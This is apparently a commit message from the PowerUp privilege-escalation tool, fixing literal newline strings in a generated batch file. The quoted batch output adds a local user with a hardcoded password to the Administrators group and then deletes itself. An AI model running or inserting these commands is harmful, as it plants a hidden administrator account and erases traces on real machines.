PowerUp: Remove badly encoded new lines from .bat output

Browse Source 
The current implementation results in a .bat like:

  @echo off\n
  start /b net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add\n
  start /b "" cmd /c del "%~f0"&exit /b

With literal "\n" strings at the end of the first two lines.

A new line in a PowerShell string should be "`n". However, an extra new
line isn't actually necessary in this case.
